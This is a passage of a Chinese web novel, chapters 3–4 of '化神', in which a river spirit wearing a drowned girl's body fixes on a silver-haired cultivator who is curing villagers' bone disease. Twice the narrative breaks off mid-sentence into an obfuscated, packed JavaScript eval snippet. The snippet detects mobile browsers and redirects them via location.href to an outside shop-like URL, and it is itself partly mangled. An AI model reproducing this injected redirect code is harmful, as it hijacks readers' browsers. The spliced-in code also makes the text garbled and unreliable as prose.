《化神》 3. 第3章 黑水河畔,烟波粼粼。 “该说的,我都已经说了,做人,不是什么难事。” 氛雾弥漫,霖娘几近透明的身躯半隐水面之中,她仰面望向岸上的女子:“你何时才肯救我出水?” 时至今日,霖娘仍不能习惯如此直面岸上那张她自己的脸,那仍旧是一张鲜妍的脸,相反,水中的霖娘却变了些样子。 她在水中断气,死后自然化为水鬼。 她的头发变得很长,皮肤惨白,额头还生出些像细小鱼鳞般闪闪发光的印痕,半个身子都融在水中,仿佛水便是她的双腿,也因此,她离不开这条阴冷潮湿的黑水河一步。 “你生来就是人,” 岸上的女子虽然皮肤苍白,却仍有血气,她的笑容不再僵硬诡异,反而烂漫极了,“不论你们做什么,都是你们人的本能,对你来说自然不难。” 她垂眸看了一眼纤细白皙的手指间缠绕的乌黑发丝:“可我又不了解你们。” 霖娘在水中看她,几乎是她话音才落,女子抬起脸来,那双琥珀色的眼瞳顷刻闪烁暗红的光芒,与此同时,一阵轻烟仿佛自她袖中而出,混入河上雨雾,却钻入水中,顷刻搅动波涛万顷。 水声剧烈激荡,霖娘猝不及防地被上涌的河水托起,那烟雾竟然裹住了河水,连同她在其中,不受控地飞向岸边。 轻烟擦过岸上女子腰间衣料,瞬间化为一只通体暗红,精致小巧的葫芦,将霖娘连同河水收入葫芦中。 而浑浊的雾气中,黑水河的水面竟低下去一半,裸露出河岸底下更为湿润的泥土。 女子摸着腰侧的葫芦,缓缓转身。 她才走出几步,沾了雨滴的耳朵倏尔轻动一下,她抬起那双暗红的眸子,望向不远处的那片林子。 林中杂声渐起。 很快近了。 那是人纷杂的步履声。 他们接二连三地钻出林子来,冒雨往河滩上跑,老鱼头最先看见站立在不远处的那个女子,她穿着绯红的衣裙,又配着一件翠绿的外衫,臂上还挽着鹅黄的披帛。 真可谓是一种惨不忍睹的鲜艳。 老鱼头看见那女子的双目,竟然是暗红的,他倒吸一口凉气,抹去松弛耷拉的眼皮上的雨水,再定睛一看,那女子眼瞳盈盈,犹如点漆。 原是他看错了。 但老鱼头心中仍突突地跳,身边几个年轻人也瞧见那女子了,他们连忙奔过去喊:“霖娘在这儿!” 十几个村民很快将女子团团围住,女子那双眼睛一一扫过在场这些人的脸,她可以看清他们或松弛,或紧致的皮肉,或清明或浑浊的眼睛,但她暂时还不能彻底分辨人类的样貌的不同。 不过都是一双眼睛,一个鼻子,一张嘴。 湿润的衣袖间,女子苍白的指节轻轻一动,暗红的莹光时隐时现,正是此时,一个极年轻的男人有些腼腆地走近她一步,说:“霖娘,你别怕,咱们这儿来了位小神仙,说不定能治你的邪……不,治你的病!” 霖娘是黑水村中最美丽的姑娘,没有哪个黑水村的年轻人心中不喜欢她,这些身强力壮的小伙子在她面前,又是脸红红,又是结巴:“是……是啊,霖娘,兴许教那小神仙看了,你就好了!” “都让你不要这么穿衣裳,这些颜色都是我娘裁了我不喜欢的,都压在柜子最底下,也不知道你是怎么翻出来的……” 霖娘有些发闷的声音自葫芦中传出:“你每日穿成这样到处跑,难怪村邻都觉得我中了邪。” “不好吗?” 女子垂眸看向这身鲜艳明亮的衣裙,她有些不解。 没有人听见霖娘的声音,几个年轻人只听见女子这一声突兀的问话,他们面面相觑,其中一个挤出笑容,道:“好,我看好得很呢!” 霖娘亦是黑水村中最会精心装扮自己的姑娘,以往谁也没见过她如今这样一股脑儿地将所有鲜艳的颜色都往身上披,看起来十分不伦不类。 但即便如此,她也依旧拥有一副美丽的容貌。 女子听见他的话,一瞬将那双水盈盈的眸子看向他,朝他露出一个笑容。 那年轻男人的脸瞬间红透了:“霖娘穿什么都好看!好看极了!” 他显然已经因为女子的笑容而迷醉。 葫芦里,霖娘发出崩溃的声音:“男人的破嘴!” “霖娘!” 忽然这样一声唤。 连绵细雨中,女子还没抬起头,葫芦中的霖娘已经激动地出声:“娘……是娘的声音!” 老赵腿脚不便,林氏扶着他姗姗来迟,女子抬眼看向他们的刹那,那老鱼头跟条泥鳅似的,很快上前扯开几个只知道傻笑的小子,“啪”的一声,一道朱砂黄符骤然拍在女子前额。 老鱼头飞快地缩回手,却撞上黄符之下,那女子的目光,他心中蓦地一窒,竟然软了双腿,一屁股坐在了泥地里。 “老鱼头!我女儿只是病了,你干什么弄这些乱七八糟的东西!”林氏见此,怒不可遏。 “老赵媳妇儿快别生气!” 一个老翁见她挽袖子,便上前拦住她道:“这会子最要紧的,还是快让那小神仙给霖娘瞧瞧,不论是病还是……反正,兴许他都能治呢!” 那老赵听了这话,便握住林氏的手,随后他抬头,看向那穿得春红柳绿的女子:“霖娘,跟爹回去,就让那神仙瞧一瞧,也好教人放心啊。” 女子并不说话,却也没有动。 老赵与林氏干脆上前,一左一右地扶着女儿,一边轻声哄她,一边带着她跟村邻们一块儿往回走。 黑水村中有一座常年上锁的庙宇,庙门前,人们已经排起了长龙,这点细雨,他们连伞也不撑,全都伸长了脖子去望屋檐底下。 檐下,一张简陋的桌案后,那是一个衣衫胜雪的少年,说是少年,却又不知为何头发银灰,人们见他胸前一串宝珠剔透,而他抬手搭脉时,衣袖边缘又露出一截冷白腕骨戴着如盛绮霞的手串,随着他的动作,淡色的流苏偶尔扫过桌面。 他身上一点尘泥都没有。 哪怕是这样的雨天,他的衣袂,脚上也不沾分毫湿泥。 久未在人前路面的老村长此时坐在檐下另一端,双手撑在拐杖上,沉默地注视着那个凭空出现,又在此义诊的外乡人。 很快轮到一名年约十二三岁的少年,他却并不凑近案前,只站在雨里,十分好奇地打量着那年轻的修士,小心翼翼地说:“神仙爷爷,我没病,是我爹,我爹他身患腿疾,不良于行,我又搬挪不动……” “我说过了,我并非神仙。” 年轻修士抬眸先是看了他一眼,随后又往他身后望去,这些黑水村人当中竟有不少男人拄拐:“你可请人去将你爹带来。” 少年觉得他并不是一个好说话的神仙,因为他并不慈眉善目,反而眉目冷得像雪,那双眼睛看着人时,亦无分毫波澜。 但少年才见过他用一副金针就让几个跛脚的村邻嘴里不再喊疼,他立即请了几个相熟的长辈,赶紧跑回家去。 “村长,您也来看看吧!” 队伍里,忽然有人喊道:“我看这位外头来的小神仙是很有本事的!” 一时之间,所有人的目光都落去檐下,那位黑水村的老村长天生一副不苟言笑的脸,松弛的眼皮半遮他的眼瞳,使其看起来更加严肃。 一直站在他身边的儿媳妇垂眸看向他。 老村长像是年纪大了,反应有点慢,这种迟钝却削弱了几分他那副皮肉堆起来的严肃,他后知后觉地对上那年轻修士的目光,覆盖着老年斑的手不由摸了摸自己的膝盖,道:“我不急……” 话还没说完,众人却听雨中一阵纷杂的声音近了,有人转过身去,只见一群人簇拥着那穿红披绿,无比显眼的女子过来。 年轻的姑娘和妇人们艰难地将目光从那位年轻修士的脸上挪开,看了过去,一见那乱七八糟的鲜艳颜色都堆在那女子身上,她们不由轻声发笑。 但又见女子前额的黄符,她们又心中发怵,不敢再笑。 “你别生气,你千万不要伤害我爹娘,不要伤害村邻……” 葫芦里,霖娘喋喋不休。 女子被一行人拉到队伍中去,她脸上一丝笑意也没有,黄符之下,那眉宇隐有一分不耐,老赵与林氏毫无所觉,一人抓着她一只手臂。 老赵低声哄她:“霖娘,咱们就是让那神仙看看,你放心,爹还有些璧髓……” “老赵,哪用得着璧髓啊,这外头来的活神仙,什么也不要你的!”那老鱼头拍了他后背一巴掌。 老赵几乎不敢相信自己的耳朵:“真不要璧髓?” “真不要。” 老鱼头说道。 女子听不懂他们所说的璧髓是什么,她见老赵扬起笑脸,眼尾的褶子深了几分,再抬起头,她发觉很多姑娘妇人都在望檐下的人。 他们说的小神仙。 前面有好些比她这具身体高大许多的男人,她起初并未看清那人的脸,只见他衣袖很白,像她在黑水河中无数次仰望过的云。 直到前面几人让开,中间有一瞬多出一道缝隙来,女子看清他的头发,和年轻的人类不一样,和年老的人类也不太一样。 天气最冷的时候,黑水河中曾结冰,正如这神仙的眼睛令人生寒,但偏偏他的眼比他胸前那串剔透的宝珠还要漂亮。 女子手指间悄然跳跃的暗红莹光忽然消失了,她指尖轻扣腰侧的葫芦:“什么是美丑?” 老赵与林氏正与前面的村邻说话,没人听见她这声低语。 葫芦里,霖娘有些摸不着头脑:“……什么?” 暗红的浮光微闪,霖娘几近透明的身体如雾般轻飘飘地从葫芦里钻出,河水托着她的身躯悬在半空,而无一人察觉。 霖娘第一眼最先看到自己的爹娘,她眼眶中顿时含泪,作势要喊,却听女子轻快的声音响起:“你说,他是美是丑?” 霖娘茫然地抬起一双泪眼,视线越过人群,落去檐下,朦胧中只见那年轻修士一副轮廓,她便立即将眼泪挤出眼眶。 视线终于清明。 霖娘倒吸一口凉气:“这……当然美!” “美极了!” 她忍不住强调。 女子闻言,再度抬眸看向那修士,忽然间,她觉得人类的五官也不是那么难以分辨。 腿病不是那么容易治的,那修士不过只号了号脉,便让前面那些一瘸一拐的男人到一边坐下,很快,老赵见前面没人了,便一瘸一拐地拉着女儿上前:“神仙,还请神仙给我女儿瞧一瞧……” 雨水顺着檐瓦下落,滴在底下的缸中,竟如黑水河的水一般浓烈如墨,但人们显然习惯了这黑山黑水的黑水村,这一点也不稀罕。 稀罕的,是那位坐在破桌前的神仙,还有,那额头贴着黄符纸,在雨中一动不动,浑身色彩明亮的女子。 没人敢真正靠近霖娘,只有林氏紧紧抓着她的手,正要哄女儿上前,却见她自己忽然动了。 被打湿的黄符分明遮住了女子的眼睛,但她依旧自如地缓步走到檐下,那雨水顺着她的发,没入她苍白的颈项,鲜红的绣鞋边沿抵在石阶下,她像是一个踉跄,倾身倒在桌上。 年轻的修士轻抬起浓密的眼睫,注视着她额头那张朱砂黄符,他起初没动,只将手中一粒圆润冰蓝的珠子捏碎。 碎裂的珠子尖锐的棱角划破他的指腹,一滴鲜血的血冒出,他却眉眼未动,只将碎屑丢入琉璃盅,里面不知是什么液体,碎屑落进去,瞬间都融化了。 黄符纸下,女子被遮住的一双眼睛骤然闪动暗红的光芒。 修士伸手,摘下她前额的黄符,顷刻露出女子一双漆黑明亮的眼睛。 雨水沾湿她的鬓发,濯洗过她美丽的面容,檐外雨露沙沙,修士提笔,预备录名,又垂眸看她:“你叫什么?” 人类都有名字。 女子无端想起自己在黑水河中打瞌睡时,曾听一个抱着书本摇头晃脑的小书生反复背过一句诗—— “神丹不老姮娥鬓,乞取刀圭驻玉容。” 她听不懂。 但她缓缓一笑:“我叫阿姮。” 她的目光始终停在他指尖的血珠,因为他握笔的动作,那血沾上了笔杆,越是看,她喉咙越是渴。 她的脸,离他的手很近,仿佛只要再近半寸,她的唇就会触碰他手中的笔,而她多么想要舔干净那滴血。 “什么阿横阿竖的,老赵,你家霖娘果然中邪了!” 老鱼头浑身的鸡皮疙瘩都起来了,惊叫一声。 人们一时间不由退得更开些,脸上或多或少的,都带了些惊恐,就连坐在一边的老村长眼睛也睁大了些,上下打量着那霖娘。 “……都让你不要乱说话了。” 霖娘看着爹娘惊疑的模样,声音有气无力。 年轻的修士纹丝未动,他沉静的眸子有一种天生的冷漠,修长的手指随意地一动,鲜红的血珠被他抹了个干净,他搁下笔,就着那张黄符,沾着琉璃盅里蓝色的液体,手指在黄符上描画几笔:“中邪倒不至于。” 他的语气平静。 将黄符递到老赵手中,道:“回去烧了,化水服用,可以固魂。” 老赵忙双手捧过,连声道谢,正要拉着女儿走,林氏却拦住他:“快让神仙也看看你的腿!” 老赵这才看向那修士,却听他道:“坐下。” 老赵不明所以,却也老老实实地与那些个都有腿疾的男人一块儿排排坐,阿姮被林氏扶着,此时抬眸一扫,方才注意到这些身患腿疾的人,竟有几十人之多。 “将裤腿卷起来。” 修士手中握着那琉璃盅,道。 几十个男人听了,立即将裤管卷起来,发灰的天色底下,他们有的人是左腿,有的是右腿,或膝盖以下,或连着整条腿,皆是一片青黑的颜色。 非但如此,他们附着青黑颜色的腿明显比另一条腿要枯瘦许多,颜色只到膝盖底下的人还好些,那些年老的,整条腿都青黑了的,皮底下,只剩骨,奇怪又诡异的骨刺从里面刺破皮肉,长到外面来,虬结得像树根,蜿蜒蜷缩,又像人没了皮肉,只剩森白骨头的手。 畸形而可怖。 阿姮却看得饶有兴味,她一一扫过这些人的腿,又落在老赵身上,老赵还算年轻,那骨刺还没长出来,皮底下还有些肉,青黑的颜色只到他膝盖底下。 “骨刺不除,药石无医。” 那修士并未露出分毫或嫌恶,或惊惧的神情,他十分平淡的在这些人中来回扫了一眼:“你们自己来,还是我来?” 此话一出,众人脸色大变。 周遭忽然静了下来,唯有细密的雨声依旧,那老村长颤颤巍巍地站起身,双掌撑在拐杖上,沉声:“外乡人,你可知这是什么病,就敢贸然让他们除骨刺?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043514|148940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “神仙,您不知道,这是山神给的诅咒。” 一个坐在后头的老翁,一条腿基本只剩下松垮垮的一层青黑色的皮,骨头细得可怕,骨刺虬结在他腿肚子底下,他哑着声音道:“我们叫它青骨病,凡是想要离开黑水村的人都会死,非但他们会死,他们犯下的错,都会报应在自家人的身上。” “之前不是没有人自个儿动手除了骨刺,”老翁坐在椅子上,半边裤管空得厉害,他抬起头,“可骨刺除了,还会长,会更快地往上长,直到这刺在里头戳烂五脏六腑……人也就死了。” 那修士从简陋的桌后出来,手中持那琉璃盅,竟有一种身持法器的庄严,他眉清目冷,轻抬下颌:“我有我的办法,你们试,还是不试?” 口口声声喊人家神仙,但到了这个当口,谁也没那个勇气在此人手中赌命,他们面面相觑,一时间都静默了。 “我先来试!” 老赵忽然打破沉默。 “老赵……”林氏心内一紧,握着阿姮手臂的手一个用力。 阿姮看了一眼她。 “担心什么?我都还没开始长那骨刺,”老赵安抚她一声,又看向自己身边的村邻,比他年长一些的人已经从皮肉底下冒出来尖尖的刺,“以往,咱们连赌一把的机会都没有。” 这话戳中了好些人的心。 但他们还是沉默。 修士垂眸,看向老赵青黑的小腿,他没有骨刺,自然用不着切除,他手指轻蘸琉璃盅里蓝色的水液,顷刻掸出去。 不过一滴水珠落在老赵腿上,他几乎还没反应过来,便觉得自己小腿竟莫名变得无比清凉。 水珠滑落的瞬间,在他小腿上划出一道纤细的血口子,血液争先恐后地涌出来,修士走到他身前,匕首自袖中出,刺入血肉,直逼腿骨。 人们屏息注视着这一幕,不少姑娘妇人都偏过头去不敢再看,林氏满眼含泪,伸手去挡女儿的眼。 阿姮看得津津有味,却忽然被林氏挡住视线,她偏过头,见林氏落泪,索性往旁边挪了一步,继续看。 修士的匕首刮过老赵的骨头,鲜血更涌,但老赵却毫无知觉似的,只是满头大汗,脸色苍白地看着自己的腿。 直到蓝色的水液浸入伤口,老赵终于感受到一种火烧火燎的感觉,就像是他整个小腿都被架在火上烤,他难耐,他青筋暴起。 修士的刀锋撤出,血红的肉里,竟然淌出来青黑色的液体,滴落在地上,犹如水入火中,发出“滋”的声响。 “他腿上的颜色淡了!” 有人惊奇地喊道。 所有人都清楚地看见,老赵小腿上青黑的颜色渐渐减淡,待修士给他止血包扎过后,他的小腿竟一点青黑都不见了。 “多谢神仙,多谢神仙!” 林氏见此,喜极而泣,不由俯身大拜。 修士回身看她一眼,目光又倏尔落在她身边的阿姮身上,但仅仅只是一瞬,他道:“带他回去,卧床三日,不要挪动。” 林氏连忙应声,起身一手扶着丈夫,另一只手拉着阿姮往回走。 “神仙爷爷!也救救我们吧!求您,求您……” 檐瓦底下,人群当中爆发出迫切的声音,他们当中不少人带着哭腔,显然是被青骨病折磨得太久,又看不到希望,此时亲眼看见老赵的腿退去青黑,他们皆激动到失态。 阿姮回头,看见那些饱受青骨病折磨的黑水村人无比激动地从凳子上起身,他们的裤管仍挽得高高的,露出他们青黑的,枯瘦的,畸形的腿,蜷曲尖锐的骨刺。 他们将那年轻的修士围在中间。 跪下去哭求。 细雨绵绵,他却滴雨不沾,衣襟洁白,宝珠剔透,腰间镶宝的银饰闪闪发亮,圣洁如斯:“还没长出骨刺的,此法尽可医治,至于你们这些已经长出骨刺的人,我可暂保你们骨刺不再生,剩下的,再等等。” 回到家中,林氏将老赵扶上床歇息,又赶紧将小心放在怀中的黄符纸拿出来在碗中烧成灰,又冲了水,见女儿喝下去,林氏方才松了口气,又转头去另一边的卧房里看丈夫。 阿姮见林氏走了,便将符水吐了出来。 霖娘还在葫芦里哭:“太好了,我爹的腿没事了……” 阿姮撑着下巴,手指在梳妆台边扣了扣,霖娘便入一缕雾气,从葫芦中钻出来,浮在半空中,阿姮抬眼,见她还在抽抽嗒嗒的,阿姮不明白为什么人类会有这么多的眼泪:“若你那晚真出去了,那山神岂不是会报复你娘?” “不会!” 霖娘抬起微红的眼:“山神对女子有怜悯之心,不会轻易报复女子,只有男子才会被山神迁怒……” “那你爹是因为谁而被迁怒?” 阿姮问她。 “我小叔。” 霖娘说道:“三年前,我小叔与人一块儿出去,死在外面了。” 霖娘本就觉得她这身衣裳太刺眼,再看到那张跟她一模一样的脸,她就更糟心了,忍不住道:“那神仙虽治得了我爹的病,却看不出你的端倪,但你如今既佯装喝了符水,你多少装得用心些,不要再让人怀疑了。” 阿姮一副漫不经心的样子,霖娘也不知道她听没听进去,只能飘着身体干着急,正不知道该再说些什么好,却见阿姮伸手摸着胸口的位置。 衣衫底下,那里仍是个血洞。 外面晦天暮雨,阿姮想起今日那修士的脸,他的眼睛,想起他白皙修长的指节,微微泛粉的指腹,那一滴沾在笔杆的血。 后知后觉,她觉出一种极为隐晦的,特殊的香味,目光下移,落在地上那滩被她吐掉的符水,她眼底流露出一分后悔的意味。 这符水里,有一丝他血的味道。 “霖娘,” 阿姮忽然唤她一声,手指擦过梳妆台边残留的一滴符水,她缓缓说道,“我想要他的心。” “……谁?” 霖娘有点没反应过来。 “那个小神仙。” 阿姮说。 霖娘浑身一个激灵,她有些不敢置信似的,早几日这妖怪还美丑不分,怎么这就……她不由道:“你才见他第一面,这……不好吧?” “有什么不好?” 阿姮抬头看她。 他的血有一种奇特的香味,他的心应该是一颗上好的心,若是用来填这具壳子胸口的血洞,那么她便可以一直寄居其中。 霖娘沉默一瞬,阿姮虽占了她的身体,但说到底,此事并非是阿姮的错,而她虽不清楚阿姮到底是个什么,但这些天她也能感觉得出,这阿姮十分不谙世事,纯真至极,霖娘又想起自己是如何化为水鬼的,眼中流露悲伤之色,便也与她说了句掏心窝子的话:“你听我一句劝,情,不是好东西,人心隔肚皮,你并不了解他。” “那就掏出来看看啊。” 阿姮一手撑着脸。 “……能别说‘掏’这个字吗?” 霖娘的脸扭曲了一瞬,她是正儿八经被人掏了心的,还是被情郎掏的,如今听见这个字就心中犯怵,但此时,她并不以为阿姮说的也是这种“掏”,还以为她初识美丑,便为色所迷了。 阿姮又问她:“情是什么东西?” 霖娘不过是个十六七岁的姑娘,这些情啊爱的,她哪能轻易说得出口呢,憋红了脸颊,好一会儿才支支吾吾地说了句:“就是那个,你方才说的,你想要那小神仙的心。” 4.第4章 004: 窗外飞雨濯檐,淅淅沥沥。 房中没有点灯,阿姮端坐在梳妆台前,隐约听清被放在一旁的葫芦中传出的波涛声,她看了那葫芦一眼。 霖娘早就没声了,作为一只水鬼,她一天中几乎有半天被迫与河水融为一体,如此方能勉强积蓄力量,维持人形。 阿姮抬手去触摸那葫芦,手指却在半空蓦地悬停,黑暗中,她扯开衣襟,低头凝视这副苍白的,瘦弱的壳子。 没有了衣衫的遮掩,胸口暗红的血洞袒露出来。 边缘破损的皮肉竟然开始发乌,干得卷起边儿了,胸口周围的皮肤呈现出一种泛青的白,那是人死之后,壳子开始腐烂的征兆。 阿姮眉头轻蹙了一下。 她本无相,也无躯壳,如风如雾,混沌初生便在黑水河底,她说不清自己的来历,也始终挣不脱黑水河对她的奇怪禁锢。 她当然不是如霖娘一般的水鬼那么简单,但她也说不好自己到底是个什么,那夜被霖娘混入黑水河中的血气所引诱,再清醒之时,她便已在霖娘的这副壳子里。 有了壳子,她才能化万物之气而动。 但壳子,也成了另一种枷锁。 她脱不下这副凡人的血肉身体,但,为什么要脱下来呢?哪怕房中无烛,阿姮抬头,依旧在铜镜中与霖娘的这张脸对望。 人类长得比野兽有趣多了。 松散的衣襟滑落下去,一副女子的躯体毫无遮蔽,乌黑的长发半遮她光滑苍白的后背,梳妆台上的铜镜中,照出她胸口的血洞。 胸口的阵阵钝痛让她的脸色变得有些难看,而霖娘的心脏早已经被人一把碾碎了。 只有再找一颗好心,她才能阻止这副壳子继续腐烂。 这场雨到后半夜便歇了,清晨天还没有亮透,山间雾气很重,霖娘经过一夜休整,又能化形,在葫芦中听见些动静,却不知阿姮在干什么,直到听见开门声,她立即问道:“你去哪儿?” “还能去哪儿?” 阿姮的声音缓缓传入霖娘耳中:“自然是去找那小神仙。” 霖娘沉默了一瞬,说:“你放我出来。” 阿姮低头看了一眼腰间的葫芦,手指轻勾,霖娘顷刻随雾气从葫芦中钻出,半悬空中,她才打眼一看阿姮,便被她那身过分鲜亮的颜色晃了眼睛。 霖娘一副“惨不忍睹”的模样:“……你就穿这个去?” 阿姮问她:“怎么了?” 霖娘赶紧道:“你听我的,快换一身去,我那么多的衣裳,丑的没几件,都让你翻出来穿了……” “我其实一点也不喜欢你们人类的这个习惯。” 阿姮说道。 “你……”霖娘瞪大双眼,顿悟了什么,她倒吸一口凉气,“不许!你不许用我的身体不穿衣服出去跑!若那样,我真没脸见人了!” 阿姮垂眸看了一眼这身衫裙,这是她精心挑选了一夜的,她不明白为什么霖娘要说它丑:“要像你们人类一样真的很麻烦,但至少,这个麻烦得是我喜欢的颜色。” 她轻抬一下手,霖娘身形化雾,钻入葫芦中。 林氏又操心女儿又操心丈夫,睡得根本不安稳,听见院子里有了点细微的动静,她便一个鲤鱼打挺坐起身。 林氏推开窗,迎面扑来湿润的雾气,她抬起头,正见那一道颜色鲜亮的身影路过窗前,她立即唤:“霖娘!” 阿姮停下来,转过脸,抬起一双眼睛看向她。 林氏仍旧不能习惯女儿近来看向她的这副神情,非但像在看一个陌生人,而且不知怎的,林氏每每对上她的目光,心中便总是被一股阴寒缠绕。 阿姮低眼,看见林氏撑在窗台上的那只手,十分粗粝,不知怎么弄的,拇指上有道伤口,那伤口应该是在林氏匆忙开窗时被撞了一下,血痂里又浸出一点鲜血来,哪怕只有那么一点点,阿姮也嗅到了那股血腥味。 血气最能引诱她的本能,但阿姮却皱了一下眉,因为她心中惦念起昨日被她吐掉的那碗符水中残存的血味,那个人的血太不同了,有种隐秘的,清淡的香。 她忽然有些渴,却并未再多看林氏的手一眼,听见林氏问她去哪儿,她重新抬起脸,对林氏露出一个笑容,却并不说话,往院门那边去了。 “霖娘又去黑水河了?” 老赵也已经醒了,但因记着那年轻修士的叮嘱,他并没有胡乱动弹,只是望着林氏问道。 林氏看着女儿渐渐隐没于山雾的背影:“看方向,不是。” 天还没有亮透,黑竹林中更是不透光,林中零星挨着几户人家,此时皆灯火透亮,中间那户人家篱笆院内停着一副滑竿,廊上两个年轻人便是用它将老村长飞快抬过来的。 竹屋中,一对夫妇的哭声此起彼伏,那妇人更是哀恸地连声唤:“儿啊……我的儿!” 村长的儿媳妇如一座雕像般伫立在门边,始终低垂着眼帘,里面老村长坐在一张椅子上,脸色有些难看:“难道小有他……也生出了冒犯山神的心思?” “不,村长!” 那妇人一下抬起一双红肿的眼:“我们小有绝对没有那样的心思!他才十二岁,十二岁啊……” “小有,我的小有……” 妇人泣不成声,身子一晃,眼看要倒,她身边的丈夫立即伸手将她扶住,那男人回过头来看向村长,亦含哽咽:“村长,我们一家是真心敬奉山神,可山神怎么……” “住口。” 伫立在门边的村长儿媳妇忽然抬起一双眼,她容貌年轻秀美,神情却骤然一冷,幽幽道:“口舌之犯,亦是死罪。” 此话一出,那夫妇二人后背冷汗直冒,两个都支撑不住,软了腿,跌倒在地。 “彩绳。” 老村长皱了一下眉,示意她别多话。 那彩绳果真不语,却听外头珠玉碰撞的清音临近,她回过头,见是那位昨夜在她家中借住的外乡人。 下过雨后,地面难免有些湿润泥泞,但彩绳低头,见他一双靴子仍未沾半点尘泥,干净极了。 他银灰色的头发似乎没来得及梳成发髻,就那么披散着,他走上廊来,门内灯火落在他身上,衬得他眉心那一点细小的朱砂痣更加殷红。 他垂下眼帘,目光睃过门槛上残留的拖拽血痕,几步走入屋中,地上没干的血渍越往里走,越是触目惊心。 “老村长,您快看,这血里是什么东西?”站在老村长身边的一个年轻人,忽然说道。 屋中所有人的目光都随之而去,只见那滩浓稠的血液里,似乎还裹着一团什么,被血模糊得不成样子了,一时间,没人看出来那是什么。 “是心脏。” 忽然,这样一道年轻而沉静的嗓音落来。 灯烛闪烁,众人抬头,只见那白衣修士在不远处站定,他浓密的眼睫微垂,似乎是在观察那滩过分粘稠的血迹。 “人的心脏。” 他语气疏淡。 那对夫妇仿佛顷刻被惊雷击中,一股又阴寒又麻的感觉直冲天灵盖,那妇人看向血水里那团不成样子的烂肉,眼球顷刻暴出血丝,她忽然惊声尖叫:“啊!” 接着,身子一歪,栽倒在地。 那丈夫也显然接受不了,亲生骨血的心脏成了一团烂肉,他只多看了一眼,便忍不住呕吐的欲望,一句话也说不出,身子也摇摇欲坠。 老村长连忙让人将他们夫妇二人抬去偏房,一名年轻人面露惊惶,忍不住颤着声音道:“村长,这个月,第三个了……” 村长松弛的脸颊微微抽动一下,脸色也十分难看。 “第三个?” 那年轻的修士抬眸。 “自从那柳行云回来,先是来寿叔的两个儿子青骨病加重暴毙,如今,如今小有又死不见尸……”村长还没说话,那年轻人却神情激动起来,“还有柳行云,他也不见了!” “一定是柳行云回来惹恼了山神,山神一向怜悯女子,那赵家的霖娘与柳行云有情,她人虽没死,可人却疯了!” 这番话顷刻刺中了里里外外所有的黑水村人,他们有的惊恐,有的无措,仿佛天说塌便要塌下来,压得他们个个粉身碎骨。 “这黑山黑水,是山神赐予我们的福地,是净土。” 彩绳的声音忽然响起:“出去过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050272|148940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人再回来,便只能算是个外乡人,外乡人来到这儿,便是玷污净土,难怪山神发怒。” 修士闻言,回头看向她。 彩绳面无表情,神情肃穆得像是那座挨在他们家边上的山神庙的忠实拥趸:“赵家霖娘便是为柳行云所累,才会疯傻。” 篱笆内外,聚集了许多听见消息便赶过来的村民,他们听着彩绳的这番话,一时间,诸般目光落在修士身上。 而年轻修士淡淡瞥过他们那一张张神色各异的脸,忽浓忽淡的山雾中,他忽然发觉一抹亮色。 那实在是令人很难忽视的,明亮色彩。 “柳行云是谁?” 那女子像是才来,只听见彩绳最后一句,她便歪过脑袋,问身边的村邻。 “……” 她身边,恰好就是老鱼头,老鱼头听见她这番话,一张树皮似的老脸扭曲了一瞬,嘴唇颤了一下。 “……是我情郎,你能不要再问别人了吗?” 霖娘有气无力的声音从葫芦里传出。 “哦。” 阿姮应了一声。 旁边的老鱼头还没说话呢,就听见她忽然这样一声,他身子又是一抖,忙退开,离她三尺远。 彩绳走入屋中,扶起老村长走到那修士面前,村长神情疲惫,却仍有礼有节:“程仙长,小有死不见尸,我还得让大家去帮忙找,你为我村人治青骨病,我实在感激不尽,仙长若不嫌弃,还请继续宿在我家中。” 昨夜这少年修士便是宿在村长家中,也是昨夜,村长方知此人姓程,名净竹。 “多谢。” 程净竹轻轻颔首,却并未说要走,还是要留。 彩绳扶着村长往外走,几个年轻人立即将那滑竿抬了过来,村长太老了,腿脚不便,走起路来颤颤巍巍的,人们很尊敬他,还不等他下阶,便有年轻人过来将他背到滑竿上。 阿姮与他们擦身而过,奔上廊去,彩绳不由回头看了一眼那女子轻快的背影,却很快回过头,令人抬起滑竿。 老村长一声令下,在篱笆边聚集的村邻们便都跟着出去找小有的尸体。 天色明亮了些,却照不尽这黑竹林阴暗的底色,淡薄的山雾浮动,偏房中那夫妇二人还在痛哭,邻居正在当中安慰。 院子里外却不剩什么人了,显得有些寂静。 山风吹拂,竹林簌簌作响,门内,程净竹注视着那廊上的年轻女子,道:“阿姮姑娘,找我?” 淡薄的雾气簇拥阿姮走入门内,身后山风牵动她鹅黄的裙角,银红的披帛也随之而动,她抬起脸,微微一笑:“是啊,找你。” 下一瞬,她的手倏尔摸向他胸口。 苍白的,纤细的手指一个用力,淡金色的光芒一闪,如流水涟漪,顷刻震痛她的虎口,她只觉整个手掌都变得麻木。 阿姮脸上的笑容消失了。 她抬起眼,对上这少年修士平静如湖的目光,这一瞬,阿姮觉得他就像是霖娘家中供奉的那两尊山神像一样,有一种居高临下的冷漠。 但他比那两尊山神像要圣洁,要漂亮。 屋中满地的血渍呈出一种不正常的粘稠,浓烈的血气引诱着阿姮,喉咙的干痒令她发渴,但她却自始至终看着程净竹,看他纤长浓密的睫毛,看他清润剔透的眼睛,看他单薄的,白皙的一层皮肤下,嶙峋的喉骨。 